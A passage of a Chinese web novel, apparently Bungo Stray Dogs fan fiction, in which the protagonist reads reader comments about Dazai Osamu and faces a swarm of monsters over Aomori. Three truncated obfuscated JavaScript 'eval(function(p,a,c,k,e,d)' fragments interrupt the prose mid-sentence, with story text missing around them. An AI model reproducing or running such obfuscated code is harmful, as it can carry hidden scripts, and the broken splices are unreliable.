首先,映入眼帘的是一串格格不入的字符。 「33182772: 感觉费佳在下好大的一盘棋,我等凡人理解不了好心的俄罗斯人的布局,等待着三花一点点揭秘啦,会开费佳是不是经历过时间轮回的脑洞。以及小夏~你的对象就是旁边这位侦探先生(恶魔低语)」 夏章雾盯着这段文字:“……” 夏章雾缓缓打出问号:“?” 他抬头,看向费奥多尔。 他低头,看向书。 作者在旁边幸灾乐祸地笑出了声。 “你有双胞胎妹妹吗?” 夏教授抱着最后的希望问道:“费佳?” 费奥多尔转过头,莫名其妙地看了他一眼。 “我是男的。”他善解人意地回答。 夏章雾心如死灰地躺下了,然后心如死灰地开始翻后面的评论,心如死灰地思考起生命、宇宙还有一切。最后他决定暂时先不管这件事,让他当一会儿鸵鸟再说。 事已至此,还是看看评论吧。 「凤舞九天: 既然如此,那作品对作者的态度也是这样的吗?如果是的话,为什么开头那段太宰和人间失格相处看起来还不错啊。」 嗯? 夏章雾暂时不心如死灰了。他坐直了身子,开始反复打量这段话:这段话很短,但是对他来说信息量很大。 首先,这位读者明确提到了“人间失格与一位名叫太宰治的人见过”。那么,或许找到太宰治就能发现和人间失格有关的情报? 其次,他表示人间失格与太宰治两者是“作者和作品”的关系。可文本负面体只存在于低维度,但《人间失格》的作者是更高维度的人类,怎么可能会遇到一起? 最后,人间失格对太宰治的态度不一样。文学负面体对人类只有憎恨,所以这种不一样或许代表的就是……比较友善? 夏章雾皱起了眉,快速地翻动着书页,开始寻找相关的内容。最后,他在一条评论上停下。 「都给我磕响深响: 好奇人间失格和太宰治有什么关系啊?太宰你的异能觉醒了吗?你有没有觉得这个怪物名字很眼熟啊?但是看前面一段太宰好像不知道这个怪物的名字?那算了。 ……」 没错,就是这个。 夏章雾深吸一口气:这个读者的言论侧面证明了太宰治和人间失格真的见过面。而且……人间失格,看上去应该是太宰治的异能名? 三次元的作者和作品。 二次元的异能者与文学负面体。 夏教授眉毛一皱,发现事情并不简单,很有把画外音叫出来当面对质一番的必要:但现在有某个侦探在,明显不是好时机。 回旅馆再说吧。 他继续往下看,结果就:“……” 「林夜: (蹦跶)(试图被注意)」 很好,这位读者,你成功引起了我的注意。但下次能不能稍微多加点更有用的内容啊? 夏章雾虚着眼睛,在心里默默吐槽道,然后看向后面的评论。 「桉莉斯: 建议你可以去找一个叫“太宰治”或者“津岛修治”的人,如果这个集合体确确实实为“人间失格”的话,他身上或许有你们想要的东西。 ……..或者买点跳跳糖?虽然对大事没有什么帮助,但很好吃。黑巧克力也不错,蟹棒更是美味,话说这个季节,樱桃也要成熟了吧?」 且不说后面那段似乎非常高深莫测,也非常不明所以的台词——这家伙到底是叫太宰治还是叫津岛修治?不是哥们,你们怎么都没个准话? 夏章雾嘴角扯了扯,往下看。 这位“爱丽丝”小姐给出的建议不止这个,还有“去让费奥利奥当诱饵”“去问问猫”“去和某俄罗斯人领证结婚”——等等,最后一个提议到底是以什么样的心态说出来的! 夏章雾觉得全都没有可行性。最后一个尤其如此,就算是他从车上跳下去,去和柯南·道尔相依为命,都不可…… 算了,还是别立flag比较好。 夏章雾理智地终止了想象,脑海里只有一个念头在反复徘徊: 爱丽丝,你是真的不靠谱。 他还是找下一个吧。 夏章雾往后看,总算发现了有用的东西:三次元《人间失格》的简介。 「卷起千堆雪: 首先,我之前看过《人间失格》,但没读完。其次,我问了AI,它是这么说的——《人间失格》是日本作家太宰治的代表作。小说通过叙述主人公叶藏的悲剧人生,深刻揭示了战后日本社会的虚无与绝望……」 夏章雾呼出一口气,快速扫视一遍。 果然,人间失格的能力与三次元的那部作品息息相关。而且选择的目标人群也和小说描述的内容相似。 ——身份危机,孤独感,对生命的意义产生怀疑。人性异化,道德沦丧。 他咀嚼了一遍这些关键词,快速记下。 这位读者,在下记住你了!……等等? 夏章雾视线上移到ID,逐渐变得面无表情。 妈耶,这不是那位带头污蔑他的读者“卷起千堆雪”吗? 谢谢了,但是不想记住你,千堆雪。 后面的评论也是让他去找太宰的,这一点倒是没什么大区别……等等,这区别可大了吧! 夏章雾第一次露出了目瞪口呆的表情,一时间都忘记保持自己“心如死灰”的状态了。 「夏木疏疏: 太宰治或者津岛修治,青森找不到的话就去横滨吧(后者更是重量级,指横滨)必要时刻可以用蟹肉贿赂,不过再怎么样,他表现地再怎么无害好笑(?)都要保持警惕哦……」 单看这条是没问题的。虽然“太宰治”的具体位置依旧模糊不清,虽然后续这位读者还表示了“对方很厉害我不想让你死”这样令主角感到尴尬的观点——但整体而言,并无问题。 「比心Q3Q: 这边建议您去找一个叫太宰治/或者叫津岛修治的男人。外貌我描述不出来,反正记住长得很好看就行了。就是那种一看就不是什么路人甲NPC的角色。他可是在前文跟人间失格聊过天的哟~……」 单看这条也没什么问题,除了“太宰治”的名字依旧模糊不清,就连相貌也模糊不清之外。而且这位读者再次证明了他和人间失格聊过天。 但重头戏来了,第三条: 「林夜: 发现了一个问题,江户川乱步和太宰治现在还是小孩子,但费佳已经长大很久了,时间线上他现在的身体应该也不大,所以他是穿过来的吗?」 后面半句不重要。夏章雾已经懒得想旁边那个俄罗斯人到底是什么鬼情况了。重要的是前面的那句“太宰治现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实我打算把这个本子送给您……不过这已经不重要了。我是想问,您怎么看我之前说的内容?” 俄罗斯人酒红色眼睛中的神色几乎接近于坦诚。夏章雾古怪地抬眸看了他一眼,浑身都别扭和不适应了起来。 “是那个《钟塔侍从、导弹、青森》吗?好吧,听上去很极端。但我倒不怎么在意,毕竟它存在的意义是作为最后的保险。而你……” 他停顿了一下,快速地扫了眼面前的侦探:“我不知道怎么说。但你好像坚定地认为,这件事很快就会解决。老实说,你该不会已经知道该怎么处理人间失格了吧?” 否则很难理解对方在来之前联系钟塔侍从的谨慎和来到青森后的放松:甚至悠闲到有时间来给他放定位器,以及在这里和他聊些有的没的。 “您或许可以认为,我对您很有信心?” 费奥多尔微笑着说。 “有点吓人。我对自己都没有什么信心。” 夏章雾小声地嘀咕了一句:这是真心的,因为他发现自己在读者的剧透下,竟然连一个人的年龄名字和地点没一个能确定……这也太令人信心受损了。 不过他倒是发现了另一点,只要不是聊那些严肃话题,只是随口闲聊的话,面前的这位侦探还是可以表现得挺拟人的。 但对方表现得越拟人,夏章雾越不安:众所周知,一个不当人的东西表现得越像人,给人的感觉就越恐怖…… 万幸的是,接下来没有再发生任何对话。 夏章雾趁机又看了几条,但还没来得及看完全部的内容,出租车就到地点了。 好,总算甩掉了! 夏章雾几乎是幸福地下了车,在虚情假意地进行告别后,就头也不回地溜之大吉,完全不想考虑对方的心情。 “我也在这里下。” 费奥多尔对他的反应只是笑了笑,然后对司机开口,付完应有的车费后便下了车。 这里并不是多繁华的街道,路灯只是零星地点缀着道路两侧,像是深海中的鮟鱇鱼,引诱着路过的蝙蝠与飞虫。 费奥多尔只是抬头看了眼这家旅馆,然后便收回视线,慢慢地沿着街道走去。 他住的地方离这里并不远,步行只有几百米的距离。在走出大概一百多米后,一个低沉轻缓的“嘶嘶”声突然在若隐若现的风中响起。 “看来这一次他失忆得很彻底。” 那个“嘶嘶”的声音说。 一只蛇的脑袋从费奥多尔的袖口中探出。 身躯交织赫红的斑斓色彩,眼睛是火焰或者血般的赤红。它立起身子,拿竖立的瞳孔盯着面前的人类,发出无礼的笑声: “呵,我都不知道是该可怜他还是可怜你了,小家伙。还记得我七十多年前给你的提醒吗:永远不要当他的债主。因为他——祂只会把自己的债务忘个精光!就连魔鬼也得不到任何报偿!” “确实如此。” 费奥多尔温和地回答:“否则您也无法生机勃勃地在我面前讲笑话了,亲爱的‘蛇’先生。” 蛇盯着他。 一直到好几秒后,它才缓缓地开口。 “虽然你只是一个活该下地狱的混蛋,亲爱的费奥多尔。”它说,“但我不得不承认,你的嘴简直他妈的和那个活该上天堂的混球一样讨厌。” “是吗?” 俄罗斯人再次礼貌地回复:“听上去全是您想去却去不到的地方。” 蛇:“……” “该死!”蛇终于绷不住了,它骂道,“我敢发誓,你之所以能和勒托——和夏章雾——和那个鬼知道真名到底是什么的家伙混到一块儿,背后的真相绝对、绝对就是因为,你们都有一张烂嘴!” 10. 这下不得不释怀地笑了 “什么叫欠债啊?什么叫情债啊?什么叫做夫夫相?什么叫我不是人?什么叫失忆?” 回到旅馆继续看读者评论的夏章雾指着笔记本上只有他自己才能看到的字,求证般地向作者问道,语气非常接近气急败坏:“我看出来了,绝对是他们这次频繁提起的蛇在污蔑我!” 纸上,好几位看乐子不嫌事大的读者评论显得相当醒目: 「比心Q3Q: 我的天呐,原来我们的债务先生真的有债啊!而且还是情债哦~情债是最难还的~」 「好心的斯巴拉西希望俄罗斯饭团: 所以是夫夫相是吧?」 「玧末: 好一个“祂”,小夏你不是人!!让我解剖看看你是个什么东西(拿出放大镜)」 「卷起千堆雪: 哦豁,“七十多年前提醒过”“不要当主角的债主”。这么说,主角也是老不死?不会和费奥多尔有一些什么缘定三生、轮回转世、他逃他追他插翅难飞之类情节吧(怪不得要谈恋爱) 哎嘿,失忆梗,老经典桥段了。“这一次失忆得很彻底”。所以说,主角经常失忆?跟“费奥多尔似乎很早就知道主角是先知”有关系吗?还有“费奥多尔跟江户川警官里谈话时提及‘预言’时语气尖刻”这回事,……」 嗯,后面还有好几条类似的评论留言。 “没错,我懂你的。”画外音在旁边发出敷衍的声音,“不过这怎么看都是读者和那条蛇一起污蔑你吧……” “果然有那条蛇的份!”夏章雾愤愤不平地补充道,“当然,还有读者诅咒我上天堂,这个更没礼貌!” 没错,说的就是你,ID是“好心的斯巴拉西希望俄罗斯饭团”的那个家伙! “嗯对对对,还有……等等,你确定是诅咒?”画外音突然愣了下,语气中透着发自内心的疑惑,“我在设计你时是不是出了点问题?” “当然是诅咒了。” 夏章雾相当愤愤不平:“我怎么可以独自上天堂?柯南·道尔欠了我五十英镑没有还,我一定要到地狱看看他会为我的五十英镑付出什么代价!” “?”画外音沉默了片刻。 它觉得这句话有什么值得吐槽的地方,但始终都吐槽不出来。 “我没问题了。”它最后干巴巴地说,“我们还是继续看下一个吧。让我看看,下一个评论的内容是什么?” 下一个是有关蛇来历的猜测。 夏章雾只是看了几眼就略过了:他并不在意那条蛇到底是什么样的存在。反正不管那条蛇有什么来历,他必要把这个胆敢诬蔑自己的家伙做成蛇肉汤。 谁都拦不了!就算撒旦从硫磺池里爬出来,他都要把这家伙给撕了! 「爱打瞌睡的狐狸: 人间失格的线索的话……嗯,青森的某户人家的家里有一个黑发鸢眼的男孩子,是很重要的线索,他可是写出人间失格的作家的同位体哦(坏笑)我要和幼宰贴贴!!」 啊,这条倒是有用的信息。 夏章雾眼睛一亮。比起之前的一头雾水,现在他至少能够确定对方的部分外貌特征、大致地理方位和年龄范围了。更重要的是,这个读者的话肯定了他的部分猜想。 “果然是不同宇宙的同位体吗?” 夏章雾摸了摸下巴,自言自语道:“再加上之前读者透露的,异能和三次元名著之间有着很密切的关联。该不会,这个世界的异能者全是三次元著名作家的同位体吧?” 不过,也有可能只有异能特别厉害的那几个家伙才是。毕竟古往今来的异能者太多了,很难想象三次元世界会有那么多的知名作家…… 不管怎么说,这位读者,你做得好啊! 夏章雾认可地点了点头。 ——虽然对方对“太宰治”这个名字表现得那么热情,也让他感觉有点奇怪就是了。 他看向后面的评论。 「巫渺: 《人间失格》的作者原名津岛修治,后更名太宰治。嗯…不知道这条评论会不会被看见。咱不是什么文采斐然的人啦(揣手)」 真的是有两个名字? 夏章雾眨了眨眼睛:怪不得读者们觉得这两种名字都有被使用的可能。看来江户川先生要在户籍管理系统里查两个不同的名字了。 再看看有没有什么别的详细情报…… 「飘然如烟: 忘了一件事。在我们这边的世界太宰治是他自己给自己起的名字,原名应该叫津岛修治,出身于某个大家族的样子。这会他应该不超过12岁?老家是青森这点应该没什么问题。咨询一下本地人有没有姓太宰或者津岛的家族吧,不是有江户川警官在吗?」 飘然如烟,这位读者,依旧如此可靠。 夏章雾表示非常感动,甚至在感动之下都忽略了某些读者惯常的不靠谱和污蔑发言,比如说爱丽丝、爱丽丝和爱丽丝。 当然,爱丽丝小姐还是又提供一条有用信息的:她表示太宰治长大后的本体是绷带和M型刘海。但小时候样子她完全不知道。 等等……所以这个信息真的有用吗? 夏章雾陷入了沉思,随手继续往后翻去。 哦,等等,还有别的评论。她说太宰治要比学姐的孩子乱步小四岁?也就是十一岁? 和“飘然如烟”的说法倒是相同的,看来太宰治的年龄是可以正式确定了。 「淋漓酱: 读者知道的也只有这些啦,这么多年都是这样的,卡剧情了有没有反思自己。当地望族去打过交道了吗,发病高峰地学校去探查过了吗,拿个笔记本唰唰写,一点也不体贴作者该怎么继续情节。……」 “?” 看到这儿,夏章雾缓缓打出问号。 “和当地人打交道,还有去学校什么的都是警察的工作吧!” 人类学教授发出理所当然般的摸鱼声:“你们以为我费尽心机,想要和警局搭上线是为了什么?当然是为了情报共享,这种麻烦的实地调查就应该交给专业人士才对!” 总之,这绝对不是他的锅! 夏章雾颇为理直气壮地点点头,然后继续看这条评论的后半部分。 「……哪怕嘴甜点和作者撒撒娇呢,别拯救世界原本是给发功德的,因为嘴太毒赔出去就不好了,看吧结尾的情节里都给你列成失信人了,不知道有多少感情债要还的哦。」 不是哥们?怎么又是“感情债”? 夏教授有一瞬间感觉到了牙疼。 听不懂,反正都是污蔑。下一条下一条。 夏章雾的视线扫过几条短评。 有几位热情的读者在七嘴八舌地提醒他一些注意事项:比如太宰的饭,比如太宰的自画像这类听上去就很抽象的东西。 还有读者似乎是在玩梗,发表了一些他们似乎很了解,但对于可怜的二次元土著主角来说相当意义不明的言论。 当然,也有非常有用的信息。 「玧末: 这次好好地给你点信息吧,你所在世界,猜测为简称《文野》的原著的平行世界之类的东西,最大的特色是将读者世界中的文豪,赋予了以各自某本作品为名的异能力,并进行了诸多设定反转后的角色。……」 其余的部分他都有所猜测,但夏章雾的目光长久地停留在这段评论的第一句话上面。 原著为《文野》的平行世界。 他在心里默默地念了遍这个词组。虽然这位读者说得非常委婉,但他还是完美理解了其中的意思。 这个世界,其实是《文野》的同人二创。 “作者。” 夏章雾幽幽地开口。 “你也没问啊。” 作者的反应很快:“而且要你接受‘这个世界是一本小说’都那么艰难了,接受‘这个世界是一本同人小说’岂不是更难?” 夏章雾还没说出口的兴师问罪就这样噎在了嗓子眼里。他盯了天花板几秒,然后很快就想到了新的攻击方式: “怪不得你说自己是三流网文写手。” 他双手抱胸,面露鄙夷之色:“原来是写同人的,看样子还是二次元同人——” 他意味深长地拖长了声音。 “二次元怎么你了!” 攻击非常成功,作者飞快地炸了毛:“同人写手怎么你了!你懂不懂四处找同人文,却找不到几个符合心意的文章的痛苦啊!” 夏章雾“呵呵”两下。 “抱歉哦。”他说,“我不是二次元。” 顺利打出暴击伤害,人类学教授心满意足地重新低头看起了后面的评论,顺便无视了背景里某个人无能狂怒的跳脚声。 评论的后面是对这部作品中部分出场角色的介绍。稍微有些令夏章雾惊讶的是,那位俄罗斯侦探竟然也是一名异能者。 而太宰治是……原著的暗线主角吗?按照这位读者的说法,剧情里的定位是智商担当和自杀爱好者(真的有这种定位?)。异能力还是无效异能这样独特的效果。 就算是在异能者最富集的伦敦,夏章雾都没有听说过类似的异能。 “有点好奇明线主角是谁了。不过这件事对当下也不算特别重要。唯一麻烦的是……” 夏章雾按了按太阳穴,有点头痛。 小孩子。 而且还是高智商、患有自杀癖的小孩子。 如果这个世界上真的存在他完全没法应付的人类,那大概就是太宰治了。身上的每一个特点都让他头痛得要命——如果这孩子还会哭,夏章雾愿称他为自己的天敌。 “车到山前必有路……” 他只能这么安慰自己,同时扫过这个评论的最后一段:“不行就让江户川刑警上吧。他好歹还有个儿子,应该知道怎么对付未成年。” 最后一段是对读者们之前提到的、太宰治与人间失格交流的事情的详述。 「……人间失格在本书比主角你还先出场,它和太宰治交流了一番,主题大概是关于怪物和人,并声明,自己将在太宰长大后再来看它。它的本体是一块形似猫的,黑到没立体轮廓的……怪物。当然,这是最开始的形态,经过这段时间的发展变成什么样了也说不准哦~不如你求求作者给你透题?」 作者透题? “你会吗?”夏章雾虚着眼睛问它。 “不!可!能!”气势汹汹的回答声。 好吧,那就不可能。 夏章雾反正从来也没指望过它,于是干脆主动在笔记本上写了句回复。 「诸位好?麻烦能再详细一点吗?包括当时的情况、场景、交流气氛和具体内容的?」 写完后,他继续看起了其他内容: 「夏木疏疏: 怎么能怪我们不给信息,我们了解的东西是很多啦,但是我们也只能通过文字知道你那边状况哦?所以时间线什么的完全不确定! 不过相貌倒是能告诉你,黑发鸢眼(可能有缠绷带?)以及之前人间失格说过等到太宰治找到他自己是怪物的证据那天会回去看他,嗯……或许现在太宰还是个像《人间失格》里掩饰自己异常主角一样的小孩?」 啊啦,知道了。谢谢你们提供的信息。 毕竟不管怎么说,还是要感谢大家愿意花时间来努力帮我,可爱的读者们。 夏章雾短暂地笑了笑,目光向下。 ——然后就这样凝固了。 「Audience: 如果,我是说如果啊,如果杀死人间失格的所有者,文学负面体会消散吗?毕竟这个世界根本就不存在这本书,写书的既没有到年龄也没有相同的经历,文学负面体应当是由异能者带来的吧?」 我勒个大西王啊。 夏章雾微微后仰:这位“观众”朋友,你的脑子里怎么全是杀杀杀杀杀?而且文学负面体不是来自三次元的吗?和这里的异能者关系应该也不大吧? 等等。 真的不大吗? “喂,作者——” 想起文学负面体和异能都来自于名著,夏章雾皱了下眉,突然开口。 “嗯?”作者气也消了点儿,闻言用鼻音哼了一声,表示自己有在听。 “为什么用来投放和销毁三次元负面情绪的垃圾场,会是这个世界?”主角先生这么问。 文学负面体和异能都是三次元名著的倒影,要说它们之间没有什么关系,夏章雾自己都不相信。所以,该不会异能者真的和文学负面体存在着什么特殊的关系吧? 这也是这个世界被选中成为垃圾场的原因? 他很严肃地这样想着,然后听到了来自作者的得意回答: “因为我觉得这样很酷啊。” 画外音的语气突然变得很骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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尤其是对方也提到了,可以通过了解异能来反推与异能同源的文学负面体。这和他的思路不谋而合。 然后他看向对方评论的最后一段。 这是对方评论中,对《人间失格》唯一针对性的描述。 「……无论如何,《人间失格》本是一本探究“何以为人”的小说,作者本有许多疑惑,向同样无知无觉的大众提出,影响了许多人,它的映射和那个作者作为异能者的对映体(我猜你还没听说过他的全名,是太宰治)本身都很特别。因此,我不得不在此提问:你认为什么才是人?人应该是怎样的? 或许在面对人间失格的过程中,明确这两个问题的答案会相当重要。」 什么是人?人是什么样的? 夏章雾的目光落在对方的提问上。 好吧,对于这两个问题,他在一秒钟内至少能想出五六个解答。比如“一种会思考自己存在意义的碳基猴子”,但它们根本没有意义。 有关于“人”的问题,几乎从来都是没有标准答案的。对这些问题来说,回答的正确与否、机智与否也并不重要。 重要的是,你说出来的,是不是听者想要的那个解答。 夏章雾深深地吐出一口气,合上笔记本。 “我会记住这两个问题的。” 他笑了:“谢啦,诸位。” 然后他抬头:“作者,再问你一个问题。” “什么问题?”作者慢悠悠地反问。 “很多读者都在说——” 夏章雾想起自己刚刚匆匆一瞥的评论,里面的ID有陌生的,也有眼熟的。“七”“飘然如烟”,还有一些人都发表了自己对此的看法。 他短暂地闭了下眼睛,重新睁开。 “文学负面体在他们看来,并非是纯粹恶意的存在。”他说,“是你之前告诉我的内容有问题吗?” 作者没有立刻回答,过了会儿才响起。 “没有哦。” 它的声音很轻快:“它们憎恨人类,它们伤害人类,它们光存在便是对人类的恶意。读者这么和你说,大概是被骗到了吧。” “具体来讲?” 夏章雾挑眉。 “像鮟鱇鱼用灯光来欺骗自己的食物,文学负面体也有欺骗人类的伪装。只有蠢货才会在自己的头上写着‘我是坏蛋’,不是吗?” 画外音似乎在笑。 它这样说:“如果人离变成怪物只差一个倾听者,那它们会是最好的倾听者。如果人离变成怪物只差一份愿望,那它就是世上最尽职尽责的许愿机。文学负面体,就是这样的东西哦。” 这样,吗? “很好。” 夏章雾垂下眼眸,轻声说:“我以后不会再问这个问题了。” 作者没有回答。 它把注意力放到了另外一个地方。 在那里,世界的运转如机械的运行,呈现出数字演算般的精确。必然性与偶然性的齿轮彼此精准地吻合,共同推动造物主笔下的故事,让其完美的、分毫不差地呈现。 时机已到来,发条已拨动—— “主角先生。”它说,“小心,大的要来了。” 密密麻麻的碰撞声突兀地从窗外传来,如同外面突然下起了急促的雨。 夏章雾抬起头,他皱眉凝视了声音传来的方向几秒,把笔记本放到一边,然后上前猛地拽住窗帘,让旁边扯去。 于是幕布被豁然拉开。 窗外是尸体。 稀烂的尸体。密密麻麻的尸体。细小如指甲盖的尸体。前赴后继地在窗户上撞死的尸体。绝非人类但确实来自于人类的尸体。 没有器官,没有血肉,没有面目,只有破裂的皮囊与牙签般纤细的骨骼。这些无名的怪异之物在玻璃上留下的姿态宛若一只展翅的虫豸,又或者是飞鸟。 更多的怪物撞上窗户,玻璃发出令人不安的颤抖。透过它们尸首间的缝隙,夏章雾看向更远的地方。 在远处,在笼罩着夜色的上空,那些飞翔的密密麻麻事物如同潮水,正源源不断地朝青森市的边界飞去,形成如同北方冬日群鸦般震撼的肉色风暴。 夏章雾眺望着这一幕,沉默了好几秒。 然后他笑了,释怀的笑。 “哦豁,完啦。”他说。 11. 没时间废话了快上车 一个人类的皮肤摊开有两平方米。 一个人类的小肠内壁摊开有两百平方米。 一个人类的静脉全部舒展开来连在一起,可以绕地球两圈半。 一个人类所有细胞中的DNA拉直后连在一起,可以从地球直达冥王星。 ——是的,这些都是生物课本上的超级没用小知识。夏章雾曾觉得,这些数据除了让自己明白“人类真是个庞大的麻烦”以外毫无意义。 事实证明,他错了。 这些数据还能让他清楚地意识到,面前这些庞大的、足以扰乱整个青森的怪物群体,其实来源可能不过是三十几个人的尸骸。 “太酷了。我都不敢想象,如果这个人数再翻上一倍到底会变成什么样。” 他说,随后抬手扣动扳机。 最后一发子弹精准地击中了在天空中飞翔的可悲怪物。简陋的构造让它甚至连哀鸣都无法发出,直接变成了在空中绽放的烟花。 更多的怪物从同伴的碎尸旁掠过。它们庞大的数量瞬间淹没了空隙,目标也没有丝毫的更改,朝着一个早有准备的目标飞去。 夏章雾抬头注视着它们。 没有鸣叫,没有拍动翅膀的声音。它们的前进呈现出怪异的可怖与肃穆,它们的道路由同伴的尸体铺平,它们的行军如同沉默的亡灵。 ——而它们也确实早已死去。 夏章雾在深夜寒冷的空气中吐出一口白雾。 他把脸上带着的夜视仪撇下来,转头去自动购货机那里给自己买了夜宵和饮料:这东西对怪物来说根本没用。它们的身体根本没有温度,性质就和末日片里的丧尸差不多。 “这一支队伍前往的是函馆方向。” 他一边塞硬币,一边对画外音说:“我猜警方也没法阻拦它们离开。它们有几十支飞向不同方位的队伍,而且飞得太高了,常规武器很难起作用。而直升机的数量也很难完全封锁它们。” “真惨。” 作为罪魁祸首的画外音毫无心理负担地说。 “是啊,真惨。” 夏章雾也跟着说,就是语气里多少带着幸灾乐祸的味道:“我已经能想到今天某位刑警有多少工作了。” 他觉得自己要面对的情况够糟糕了——但一想到某位江户川先生接下来要面对的新闻公关、消息封锁、事件报告……好吧,值得庆祝!夏先生至少不算最倒霉的那一个。 意外的变故固然让人气馁,但同伴更胜一筹的倒霉往往会让人重新升起生活的勇气。而且说不定某位侦探先生今晚也会很倒霉,这样他就是最幸运的那个了。 夏章雾在这方面一向很乐观。他接住从自动售货机里滚出的可乐与豚骨拉面,靠着自动售货机就坐了下来。 掏出笔记本,看一眼上面多出来的内容。 今天的读者似乎很热衷于在评论区讲笑话。这些笑话共有两大特征:主角是夏章雾,以及夏章雾根本就看不懂。 尤其是这一条。 「飘然如烟: 作话好笑程度:100% 看到我这条评论可能百思不得其解的主角好笑程度:10000%」 夏章雾盯了半天:“……?” 所以到底都在笑什么啊! 他很干脆地放弃了思考,重新把本子合上。 果然,人与人的悲喜并不相通。有的人大晚上不能睡觉,还要出来杀怪物。而有的人却在兴致勃勃地讲笑话。 唯一令人有点欣慰的就是爱丽丝。 是的,就是那个喜欢污蔑人的读者爱丽丝。 虽然她也在评论区讲了笑话(“完全符合我对她的刻板印象。”主角先生如是评价。)但她也提供了不少有关人间失格与太宰治见面场景的情报。 甚至还表达了微妙的关心。 「桉莉斯: 账务,有件事有点在意。三花,也就是作者在你这个世界的提要(不知道这么说对不对)是“做最大的疯子吧,为了你的家”。 ……不要是dc类疯子哦,特别是绿毛油漆状的那种(你们那个世界会有dc、漫威等漫画刊吗)」 DC和漫威嘛,这个世界当然是有的。 夏章雾虚着眼睛:当然,就像他并非二次元或者特摄厨一样,他也不是美漫迷。不过相较于二次元,他一向对美漫粉丝很宽容。 ——他们都喜欢一部编剧日常抽风的IP了,你就让让他们吧。 “而且我觉得我的精神状态离某位哥谭小丑还是有一定差距的。” 夏章雾对作者吐槽道:“而且我怎么说都是救世主定位的主角。小丑那玩意能和拯救世界扯上关系?” 小丑有可能拯救世界,但小丑拯救世界有点不太可能——除非你说的是小丑女或小丑侠。 “光是把它们联系在一起就够吓人了。”画外音也吐槽了一句,“别提这个了,还是看看远方的天空吧,朋友。” 尽管今晚出现了亿点小小的意外,但青森夜晚的天空依旧很漂亮。 夏章雾伸手打开可乐拉罐,脑袋枕在另一只手臂上,抬头看着街道上方。 明亮的星星下,那些似虫似鸟的生物并没有完全离开这里,仍然有不少在天空当中徘徊不去,悄无声息地扇动着它们的“翅膀”。 夏章雾并不急着追过去,一方面是他追也追不上这些会飞的玩意,另一方面就是因为这些家伙。 他已经和这些家伙打了半个小时的交道了。他清楚它们是队伍中的弃子,负责吸引人类的注意力与火力,好让大部队通过人类的封锁线。如果自己有追逐的意图,这些小东西会立刻俯冲下来,纠缠住他。 这些“弃子”在怪物群中的数量不算少。这些无目的怪物依靠它们的自杀式冲锋来确定正确的前进方向,也依靠它们在外围的牺牲来保护更多群体飞跃人类的城市。 没有怪物会对这种安排表示异议。它们之间的交流无声无息,传达和调整的速度快到不可思议,整个群体几乎立刻能根据当下的情况做出改变,呈现出极强的适应力。 “有点像是科幻小说里的集群意识。” 夏章雾边看星星边喝可乐,顺便对“造物主”的工程进行津津有味的评价:“你创造怪物的品味还算不错。” “你这是在夸我还是骂我?” 画外音狐疑地说。 “别自作多情。我只是在想你到底抄了多少内容。” 夏章雾侧过脑袋,他翻了个白眼:“科幻小说里的集群意识往往都有一个统领它们的王或者王后。那么,它们的‘蚁后’在哪里?” “而且——” 人类学教授举着可乐罐子:“我之前打下来了那么多东西,都没看到一点脑组织的影子,那么大的人脑都去哪了?被吃了?” “死心吧。没情报的话,你找不到的。” 画外音情真意切地说。 这是实话。 无论如何,那个至关重要的个体要么在怪物大部队的核心,要么就躲藏在安全的地方。而夏章雾很显然对这两种情况都没办法。这点他俩都心知肚明。 一颗流星从空中滑落。 “那我还是祈祷一下比较实际的东西吧。” 夏章雾喝了口可乐,盯着这颗坠落的星,耸耸肩:“就祈祷这些飞出青森的怪物不会把怪物事件彻底扩散到北海道好了。” 他换了个姿势靠着,继续看星星。 气氛一时间显得有点沉默。 “所以它们真的不至于把怪物事件给扩散到北海道,对吧?” 过了几秒,夏章雾突然小声问道。 “嗯……啊……这个嘛……” 他这么一问,画外音反倒突然有点不太好意思起来,它支支吾吾地嘟囔道:“其实倒也不用那么悲观……虽然吧……该怎么说呢……” 一开始夏章雾还在耐心听着。但很快,他就意识到了有什么不对劲的地方,并且产生了想要攻击作者族谱的冲动。 幸运的是,一个声音及时打断了他。 “勒托先生。”那个声音说。 虽然还没有转过头,但夏章雾依旧瞬间就辨认出了开口的人是谁。 这世上会这么叫他的也就只有费xxx和江户川蓝峰。考虑到某位倒霉刑警目前还脱不开身,人选就只有一个了。 “晚上好呐,侦探先生。” 夏章雾叹了口气,扭头看向站在自动售货机旁的俄罗斯人,举着罐头懒散地打了个招呼,同时巧妙地规避了喊对方名字的问题。 但这个小动作很显然没能瞒住对方。 “费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。” 一声轻轻的叹息。费奥多尔依旧选择开口介绍了一遍自己的名字,好像他还对夏教授的记忆力抱有什么指望似的——这真是种奇妙的乐观主义精神。夏章雾并不理解,但决定报以敬意。 于是他满是敬佩地点了点头。 “我开始相信西西弗斯一定是幸福的了。”人类学教授这么说,“否则我完全没法理解你的这种执着。所以你来找我干什么?” 他并不认为对方会闲着没事就过来找自己。 “这些怪物现在没法离开青森。” 费奥多尔没有回答夏章雾那句几乎可以算是讥讽的话。他只是用平缓的语调陈述道,让人有种他说的根本不是什么大事的错觉:“它们会在青森边界被拦住。” 夏章雾挑了下眉,他第一次认真地看向面前的俄罗斯人。 他注视着费奥多尔,费奥多尔也注视着他。 费奥多尔眼睛一眨不眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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能飞出青森的大群怪物是个麻烦,但飞不出去的也只能是个超级大的热闹了。 警方的效率虽然不高,但在这种情况下也能把它们及时解决。他们到那边顶多喝喝可乐吃吃爆米花,看看现实零距离的枪战,然后欣赏欣赏江户川焦头烂额的表情…… 这么一想还挺有意思,夏章雾觉得自己“回去补觉”的想法都发生了动摇。 但很可惜,某位侦探并没有那么无聊。 “不,是去混乱的源头。” 